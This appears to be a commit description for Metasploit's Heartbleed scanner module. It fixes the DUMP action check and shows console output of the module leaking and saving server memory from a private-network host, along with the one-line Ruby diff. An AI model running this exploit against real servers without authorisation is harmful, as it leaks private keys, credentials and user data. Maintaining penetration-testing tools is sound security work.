Fix Action => DUMP

Fix for when Action is set to DUMP. Modifed the check to use action.name.

Console output:

msf auxiliary(openssl_heartbleed) > set action DUMP
action => DUMP
msf auxiliary(openssl_heartbleed) > run

[*] 192.168.1.3:443 - Sending Client Hello...
[*] 192.168.1.3:443 - Sending Heartbeat...
[*] 192.168.1.3:443 - Heartbeat response, 17403 bytes
[+] 192.168.1.3:443 - Heartbeat response with leak
[*] 192.168.1.3:443 - Heartbeat data stored in /root/.msf4/loot/20140418070745_default_192.168.1.3_openssl.heartble_135938.bin
[*] 192.168.1.3:443 - Printable info leaked: STUFF STUFF STUFF
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Author: Zinterax

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

@@ -351,7 +351,7 @@ def loot_and_report(heartbeat_data)
           :refs => self.references,
           :info => "Module #{self.fullname} successfully leaked info"
         })
-        if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
+        if action.name == 'DUMP' # Check mode, dump if requested.
           pattern = datastore['DUMPFILTER']
           if pattern
             match_data = heartbeat_data.scan(pattern).join